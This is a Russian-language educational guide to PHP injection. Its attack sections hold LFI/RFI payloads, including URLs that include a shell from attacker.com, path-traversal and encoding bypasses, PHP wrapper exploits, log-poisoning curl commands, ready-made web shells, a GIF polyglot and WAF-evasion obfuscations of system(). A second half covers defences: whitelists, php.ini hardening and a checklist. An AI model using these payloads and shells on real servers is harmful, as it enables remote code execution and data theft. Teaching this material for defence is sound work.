PHP (Hypertext Preprocessor) — серверный скриптовый язык программирования общего назначения с открытым исходным кодом. PHP является одним из самых популярных языков для разработки веб-приложений.
Основные характеристики PHP:
- Серверная обработка: PHP-код выполняется на сервере, генерируя HTML, который отправляется клиенту
- Слабая динамическая типизация: обеспечивает гибкость, но требует внимательности
- Широкое применение: используется в популярных CMS (WordPress, Drupal, Joomla)
- Интеграция с базами данных: встроенная поддержка MySQL, PostgreSQL и других СУБД
Пример простого PHP-кода:
<!DOCTYPE html>
<html>
<head>
<title>Пример PHP</title>
</head>
<body>
<?php
echo "Hello, World!";
$name = "Пользователь";
echo "<p>Привет, $name!</p>";
?>
</body>
</html>
Что такое PHP инъекция
PHP инъекция — это уязвимость веб-приложения, позволяющая злоумышленнику выполнить произвольный PHP-код на стороне сервера.
Причины возникновения:
- Отсутствие валидации пользовательского ввода
- Небезопасное использование потенциально опасных функций
- Неправильная конфигурация сервера
- Устаревшие версии PHP с известными уязвимостями
Простой пример уязвимого кода:
<?php
// УЯЗВИМЫЙ КОД - НЕ ИСПОЛЬЗОВАТЬ!
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page . ".php");
}
?>
Эксплуатация:
http://example.com/index.php?page=../../../../etc/passwd
Этот код уязвим к LFI (Local File Inclusion), так как параметр page не валидируется перед использованием в функции include().
Потенциально опасные функции
1. Функции включения файлов
Эти функции выполняют PHP-код из подключаемых файлов:
include() / include_once()
- Подключает и выполняет указанный файл
- При ошибке генерирует предупреждение (Warning), но продолжает выполнение
// Опасное использование
include($_GET['file']);
// Безопасное использование
$allowed_files = ['home', 'about', 'contact'];
$file = $_GET['file'] ?? 'home';
if (in_array($file, $allowed_files)) {
include($file . '.php');
}
require() / require_once()
- Аналогичны
include(), но при ошибке останавливают выполнение скрипта
2. Функция eval()
eval() — одна из самых опасных функций PHP. Выполняет переданную строку как PHP-код.
// КРАЙНЕ ОПАСНО!
eval($_GET['code']);
// Пример эксплуатации:
// http://example.com/?code=phpinfo();
Рекомендации:
- Никогда не используйте
eval()с пользовательским вводом - Рассмотрите альтернативы: шаблонизаторы (Twig, Blade), конфигурационные файлы
- Если необходимо — используйте строгую валидацию и белый список разрешенных операций
3. Функции выполнения команд
Эти функции выполняют системные команды:
system()
// Выполняет команду и выводит результат
system($_GET['cmd']); // ОПАСНО!
exec()
// Выполняет команду и возвращает последнюю строку вывода
$output = exec($_GET['cmd']); // ОПАСНО!
shell_exec() / обратные кавычки
// Выполняет команду через shell и возвращает весь вывод
$result = shell_exec($_GET['cmd']); // ОПАСНО!
$result = `whoami`; // Эквивалентно shell_exec()
passthru()
// Выполняет команду и передает вывод напрямую браузеру
passthru($_GET['cmd']); // ОПАСНО!
proc_open() / popen()
// Открывает процесс для чтения/записи
$handle = popen($_GET['cmd'], 'r'); // ОПАСНО!
4. Функции работы с регулярными выражениями
preg_replace() (устаревшая уязвимость)
Важно: Модификатор /e был удален в PHP 7.0.0
// В PHP < 7.0 - ОПАСНО!
preg_replace('/(.*)/e', 'strtoupper("\\1")', $_GET['input']);
preg_replace_callback() с create_function()
Важно: create_function() объявлена устаревшей (deprecated) в PHP 7.2 и удалена в PHP 8.0
// В PHP < 8.0 - ОПАСНО!
preg_replace_callback(
"/(<\?php|<\?)(.*?)\?>/si",
create_function('$matches', 'return eval($matches[2]);'),
$_GET['input']
);
// Современная безопасная альтернатива:
preg_replace_callback(
"/pattern/",
function($matches) {
// Безопасная обработка
return htmlspecialchars($matches[0]);
},
$input
);
5. Функции динамического вызова
// Опасное использование переменных функций
$func = $_GET['function'];
$func(); // Может вызвать любую функцию!
// Безопасное использование
$allowed_functions = ['safe_func1', 'safe_func2'];
$func = $_GET['function'];
if (in_array($func, $allowed_functions)) {
$func();
}
6. Функции сериализации
unserialize()
// ОПАСНО без валидации!
$data = unserialize($_GET['data']);
// Безопасное использование (PHP 7+):
$data = unserialize($_GET['data'], ['allowed_classes' => false]);
// или
$data = unserialize($_GET['data'], ['allowed_classes' => [MyClass::class]]);
PHP Object Injection — серьезная уязвимость, позволяющая выполнить код через магические методы (__wakeup(), __destruct() и др.).
LFI и RFI
Local File Inclusion (LFI)
LFI позволяет злоумышленнику подключать локальные файлы сервера.
Основные цели атаки:
- Чтение конфиденциальных файлов (
/etc/passwd,/etc/shadow) - Чтение исходного кода приложения
- Выполнение кода через подключение файлов логов или загруженных файлов
Пример уязвимого кода:
<?php
$file = $_GET['page'];
include("/var/www/html/pages/" . $file . ".php");
?>
Базовая эксплуатация:
# Чтение /etc/passwd
http://example.com/?page=../../../../etc/passwd
# С дописыванием расширения
http://example.com/?page=../../../../etc/passwd%00
Remote File Inclusion (RFI)
RFI позволяет подключать файлы с удаленных серверов.
Требования для RFI:
В php.ini должны быть установлены:
allow_url_fopen = On
allow_url_include = On # Устарело и опасно!
Важно: allow_url_include по умолчанию отключен с PHP 5.2+ и не рекомендуется его включать.
Пример эксплуатации RFI:
<?php
// Уязвимый код
include($_GET['page']);
?>
# Подключение удаленного shell
http://victim.com/?page=http://attacker.com/shell.txt
# Содержимое shell.txt:
<?php system($_GET['cmd']); ?>
Техники обхода фильтров
1. Path Traversal (обход директорий)
Стандартные техники:
../../../../../etc/passwd
..\/..\/..\/..\/etc/passwd
....//....//....//etc/passwd
..;/..;/..;/etc/passwd
URL Encoding:
# Одинарное кодирование
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# Двойное кодирование
%252e%252e%252f%252e%252e%252fetc%252fpasswd
# Unicode/UTF-8 кодирование
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd
2. Null Byte Injection
Важно: Не работает в PHP 5.3.4+
<?php
// В старых версиях PHP
include($_GET['file'] . ".php");
?>
# Null byte обрезает строку
http://example.com/?file=../../../../etc/passwd%00
http://example.com/?file=shell.txt%00.jpg
3. Обход через расширения
# Использование разрешенных расширений
http://example.com/?file=../../../../etc/passwd
http://example.com/?file=shell.php.jpg
# Truncation (обрезание)
http://example.com/?file=../../../etc/passwd/././././.[повторить до лимита]
4. Засорение путей (Path Pollution)
http://example.com/?file=....//....//....//etc/passwd
http://example.com/?file=..//////..//////etc/passwd
http://example.com/?file=/%5C../%5C../%5C../etc/passwd
PHP Wrappers (Врапперы)
PHP поддерживает различные протоколы (wrappers) для работы с файлами. Они могут быть использованы для обхода защиты при LFI/RFI.
Проверка доступных врапперов:
<?php
print_r(stream_get_wrappers());
?>
1. php://filter
Позволяет применять фильтры к потокам данных.
Чтение файлов в base64:
http://example.com/?file=php://filter/convert.base64-encode/resource=index.php
http://example.com/?file=php://filter/convert.base64-encode/resource=../../../etc/passwd
Полезные фильтры:
# ROT13 кодирование
php://filter/read=string.rot13/resource=index.php
# Uppercase
php://filter/read=string.toupper/resource=index.php
# Цепочка фильтров
php://filter/convert.base64-encode/convert.base64-decode/resource=index.php
# Zlib compression
php://filter/zlib.deflate/resource=index.php
2. php://input
Позволяет читать raw POST данные. Очень опасен для RCE!
<?php
// Уязвимый код
include($_GET['file']);
?>
Эксплуатация:
# POST запрос с PHP кодом
curl -X POST --data "<?php system('whoami'); ?>" \
"http://example.com/?file=php://input"
3. data://
Позволяет встраивать данные напрямую в URL.
# Plain text
http://example.com/?file=data://text/plain,<?php phpinfo(); ?>
# Base64
http://example.com/?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
# Без MIME типа
http://example.com/?file=data:,<?php system($_GET['cmd']); ?>
4. expect://
Требуется: расширение PECL expect (обычно не установлено)
http://example.com/?file=expect://whoami
http://example.com/?file=expect://id
5. file://
Доступ к локальным файлам:
http://example.com/?file=file:///etc/passwd
http://example.com/?file=file://localhost/etc/passwd
6. zip:// и phar://
Работа с архивами:
zip://
# Создание вредоносного ZIP
<?php
file_put_contents("shell.php", "<?php system($_GET['cmd']); ?>");
// Загружаем как image.zip
?>
http://example.com/?file=zip://uploads/image.zip%23shell.php
phar://
http://example.com/?file=phar://uploads/archive.zip/shell.php
7. ftp:// и ssh2://
Требуется: соответствующие расширения
http://example.com/?file=ftp://user:pass@attacker.com/shell.txt
http://example.com/?file=ssh2.shell://user:pass@attacker.com:22/shell.php
8. glob://
Поиск файлов по шаблону:
foreach (glob("php://filter/read=convert.base64-encode/resource=/var/www/*") as $file) {
echo file_get_contents($file);
}
Удаленное выполнение кода
1. RCE через логи
Суть метода: записать PHP-код в лог-файлы сервера, а затем подключить их через LFI.
Типичные пути к логам:
# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log
# Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
# SSH
/var/log/auth.log
/var/log/secure
# PHP-FPM
/var/log/php-fpm/error.log
# Mail
/var/log/mail.log
/var/mail/www-data
Техника отравления логов (Log Poisoning):
Шаг 1: Записать PHP-код в User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://victim.com/
Шаг 2: Подключить лог-файл
http://victim.com/?page=../../../../var/log/apache2/access.log&cmd=whoami
Альтернативные векторы:
# Через referer
curl -H "Referer: <?php system('whoami'); ?>" http://victim.com/
# Через несуществующую страницу
http://victim.com/<?php system($_GET['cmd']); ?>?
2. RCE через /proc/self/environ
В Linux окружение процесса доступно через /proc/self/environ.
# Отправка вредоносного User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://victim.com/
# Подключение environ
http://victim.com/?page=../../../../proc/self/environ&cmd=id
3. RCE через Session файлы
PHP хранит сессии в файлах (обычно в /var/lib/php/sessions/).
<?php
// Уязвимый код
session_start();
$_SESSION['username'] = $_GET['username'];
?>
Эксплуатация:
# Запись PHP-кода в сессию
http://victim.com/?username=<?php system($_GET['cmd']); ?>
# Подключение файла сессии
http://victim.com/?page=../../../../var/lib/php/sessions/sess_[PHPSESSID]&cmd=whoami
4. RCE через загрузку файлов
Если на сервере разрешена загрузка файлов:
<?php
// shell.php замаскированный под image.jpg
system($_GET['cmd']);
?>
# Загружаем файл
POST /upload.php
# Подключаем через LFI
http://victim.com/?page=uploads/image.jpg&cmd=whoami
5. RCE через PHP Wrappers
См. раздел PHP Wrappers для техник с php://input и data://.
6. Web Shell
Простой PHP web shell:
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
Расширенный shell с формой:
<!DOCTYPE html>
<html>
<head>
<title>Shell</title>
</head>
<body>
<form method="GET">
<input type="text" name="cmd" size="100" placeholder="Команда">
<input type="submit" value="Выполнить">
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!empty($cmd)) {
echo htmlspecialchars(shell_exec($cmd));
}
}
?>
</pre>
</body>
</html>
Обход WAF
Web Application Firewall (WAF) часто использует сигнатуры и регулярные выражения для обнаружения атак. Рассмотрим техники обхода.
1. Case Manipulation
// Изменение регистра
sYsTeM('whoami');
SYSTEM('whoami');
SyStEm('whoami');
2. Escape-последовательности
PHP поддерживает различные форматы строк:
Шестнадцатеричное кодирование:
// "system" в hex
"\x73\x79\x73\x74\x65\x6d"('whoami');
// С переменной
$a = "\x73\x79\x73\x74\x65\x6d";
$a('whoami');
Восьмеричное кодирование:
"\163\171\163\164\145\155"('whoami');
3. Конкатенация строк
('sys'.'tem')('whoami');
('sys' . 'tem')('whoami');
$a = 'sys';
$b = 'tem';
($a.$b)('whoami');
// С обходом кавычек
(s.y.s.t.e.m)(whoami);
4. Использование переменных
$a = 'system';
$b = 'whoami';
$a($b);
// Или
$_GET['a']($_GET['b']);
// URL: ?a=system&b=whoami
5. Динамический вызов функций
// Через массив функций
$funcs = get_defined_functions();
$funcs['internal'][381]('whoami'); // system может быть под номером 381
// Или создание переменной функции
${'_GET'}['a']($_GET['b']);
6. Обход фильтрации кавычек
Если кавычки фильтруются:
// Без кавычек (работает для некоторых функций)
system(whoami);
// С приведением типов
(string)system((string)whoami);
// Через массив
system(current(['whoami']));
7. Комментарии в коде
sys/**/tem('who/**/ami');
sys/*comment*/tem('whoami');
8. Альтернативный синтаксис
// Обратные кавычки (backticks)
`whoami`;
echo `id`;
// Это эквивалентно shell_exec()
9. Переменные серверного окружения
// Использование суперглобальных массивов
$_SERVER['HTTP_USER_AGENT'];
$_ENV['PATH'];
// Создание функций из переменных окружения
$_ENV['a'] = 'system';
$_ENV['a']('whoami');
10. Обход проверки длины
Если есть ограничение на длину:
// Короткие формы
eval($_GET[0]);
`$_GET[0]`;
// Или
<?=$_GET[0]?>
11. Polyglot файлы
Создание файлов, которые интерпретируются как несколько типов:
GIF89a<?php system($_GET['cmd']); ?>
Этот файл распознается как GIF и как PHP.
12. Обфускация через математические операции
$a = 1337 - 1337; // 0
$b = $a + 1; // 1
$c = $b + 1; // 2
// и так далее, формируя ASCII коды
Рекомендации по защите
1. Валидация и Санитизация Входных Данных
Белый список (Whitelist):
// ПРАВИЛЬНО: использование белого списка
$allowed_pages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $allowed_pages, true)) {
include("pages/{$page}.php");
} else {
include('pages/error.php');
}
Функции санитизации:
// Для имен файлов
$filename = basename($_GET['file']);
// Для путей
$path = realpath('/var/www/pages/' . $filename);
if (strpos($path, '/var/www/pages/') === 0) {
include($path);
}
// HTML entities
echo htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');
// Фильтрация
$email = filter_input(INPUT_GET, 'email', FILTER_VALIDATE_EMAIL);
2. Конфигурация PHP (php.ini)
; Отключение опасных функций
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
; Запрет удаленных включений
allow_url_fopen = Off
allow_url_include = Off
; Ограничение открытия файлов
open_basedir = /var/www/html:/tmp
; Отключение отображения ошибок в продакшене
display_errors = Off
log_errors = On
; Ограничение выполнения
max_execution_time = 30
memory_limit = 128M
3. Безопасное использование функций
Вместо include/require с пользовательским вводом:
// Плохо
include($_GET['page'] . '.php');
// Хорошо
$pages = [
'home' => 'templates/home.php',
'about' => 'templates/about.php',
];
$page = $_GET['page'] ?? 'home';
if (isset($pages[$page])) {
include($pages[$page]);
}
Вместо eval():
// Плохо
eval($_GET['code']);
// Хорошо: используйте шаблонизаторы
// Twig, Blade, Smarty и т.д.
Вместо exec/system:
// Плохо
system($_GET['cmd']);
// Хорошо: используйте безопасные альтернативы
$allowed_commands = ['ls', 'pwd'];
$cmd = $_GET['cmd'];
if (in_array($cmd, $allowed_commands)) {
$output = [];
exec(escapeshellcmd($cmd), $output);
print_r($output);
}
// Или используйте специализированные библиотеки
4. Использование подготовленных выражений (Prepared Statements)
Для защиты от SQL Injection:
// PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);
// MySQLi
$stmt = $mysqli->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $_GET['id']);
$stmt->execute();
5. Content Security Policy (CSP)
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'");
6. Права доступа к файлам
# Ограничение прав на PHP файлы
chmod 644 *.php
# Запрет записи для web-сервера в важные директории
chmod 755 /var/www/html
chown root:root /var/www/html
# Логи не должны быть доступны через веб
chmod 640 /var/log/apache2/*.log
7. WAF (Web Application Firewall)
Используйте современные WAF:
- ModSecurity (с OWASP Core Rule Set)
- Cloudflare WAF
- AWS WAF
- Imperva
- Akamai
8. Регулярное обновление
# Проверка версии PHP
php -v
# Обновление PHP и компонентов
sudo apt update && sudo apt upgrade
# Обновление зависимостей Composer
composer update
9. Мониторинг и логирование
// Логирование подозрительных действий
function log_suspicious_activity($message) {
$log_file = '/var/log/security.log';
$timestamp = date('Y-m-d H:i:s');
$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$log_message = "[$timestamp] IP: $ip | UA: $user_agent | $message\n";
file_put_contents($log_file, $log_message, FILE_APPEND);
}
// Обнаружение path traversal
if (strpos($_GET['file'], '..') !== false) {
log_suspicious_activity('Path traversal attempt: ' . $_GET['file']);
die('Access denied');
}
10. Принцип наименьших привилегий
- Запускайте веб-сервер от непривилегированного пользователя
- Ограничьте доступ к файловой системе через
open_basedir - Используйте SELinux/AppArmor
- Разделяйте код и данные
11. Автоматическое тестирование безопасности
Используйте инструменты:
- RIPS — статический анализатор PHP кода
- PHPStan/Psalm — проверка типов и потенциальных проблем
- SonarQube — анализ качества и безопасности кода
- Snyk — поиск уязвимостей в зависимостях
- OWASP ZAP / Burp Suite — динамическое тестирование
12. Пример безопасного приложения
<?php
// Безопасная обработка файлов
// Конфигурация
define('PAGES_DIR', __DIR__ . '/pages/');
define('ALLOWED_PAGES', ['home', 'about', 'contact', 'services']);
// Получение параметра
$page = $_GET['page'] ?? 'home';
// Валидация через белый список
if (!in_array($page, ALLOWED_PAGES, true)) {
http_response_code(404);
$page = 'error';
}
// Безопасное формирование пути
$file_path = realpath(PAGES_DIR . $page . '.php');
// Проверка, что файл находится в разрешенной директории
if ($file_path === false || strpos($file_path, realpath(PAGES_DIR)) !== 0) {
http_response_code(403);
die('Access denied');
}
// Проверка существования файла
if (!file_exists($file_path)) {
http_response_code(404);
die('Page not found');
}
// Безопасное подключение
require $file_path;
?>
Чеклист безопасности
Для разработчиков:
-
Никогда не используйте
eval()с пользовательским вводом - Всегда валидируйте входные данные (белый список предпочтительнее черного)
-
Используйте
basename()иrealpath()для путей к файлам -
Отключите опасные функции в
php.ini -
Установите
allow_url_include = Off - Используйте подготовленные выражения для SQL запросов
-
Экранируйте вывод с помощью
htmlspecialchars() - Установите правильные права доступа к файлам
- Логируйте подозрительную активность
- Регулярно обновляйте PHP и все зависимости
-
Используйте современные шаблонизаторы вместо
eval() - Проводите code review и статический анализ кода
- Тестируйте приложение на уязвимости перед релизом
Для системных администраторов:
-
Настройте
open_basedirдля ограничения доступа к ФС -
Отключите отображение ошибок в продакшене (
display_errors = Off) -
Включите логирование ошибок (
log_errors = On) - Установите и настройте WAF (например, ModSecurity)
- Используйте HTTPS (SSL/TLS)
- Настройте правильные права доступа к директориям и файлам
- Регулярно проверяйте логи на подозрительную активность
- Используйте системы обнаружения вторжений (IDS/IPS)
- Изолируйте веб-приложения (контейнеры, виртуальные машины)
- Настройте резервное копирование
- Используйте систему контроля версий для отслеживания изменений
- Проводите регулярные аудиты безопасности
Заключение
PHP инъекции остаются одной из наиболее критичных уязвимостей веб-приложений. Несмотря на то, что многие старые техники (например, null-byte injection, модификатор /e в preg_replace()) больше не работают в современных версиях PHP, постоянно появляются новые векторы атак.
Ключевые выводы:
- Никогда не доверяйте пользовательскому вводу — это золотое правило безопасности
- Используйте белые списки вместо черных для валидации
- Регулярно обновляйте PHP и все зависимости
- Следуйте принципу наименьших привилегий на всех уровнях
- Проводите регулярные аудиты безопасности и тестирование на проникновение
- Используйте современные инструменты и практики разработки
Полезные ресурсы:
- OWASP Top 10 — https://owasp.org/www-project-top-ten/
- PHP Security — https://www.php.net/manual/en/security.php
- OWASP PHP Security Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html
- PortSwigger Web Security Academy — https://portswigger.net/web-security
- HackTricks — https://book.hacktricks.xyz/
Дисклеймер: Данный материал предназначен исключительно для образовательных целей и для специалистов по информационной безопасности. Несанкционированное тестирование чужих систем является незаконным. Всегда получайте письменное разрешение перед проведением тестов на проникновение.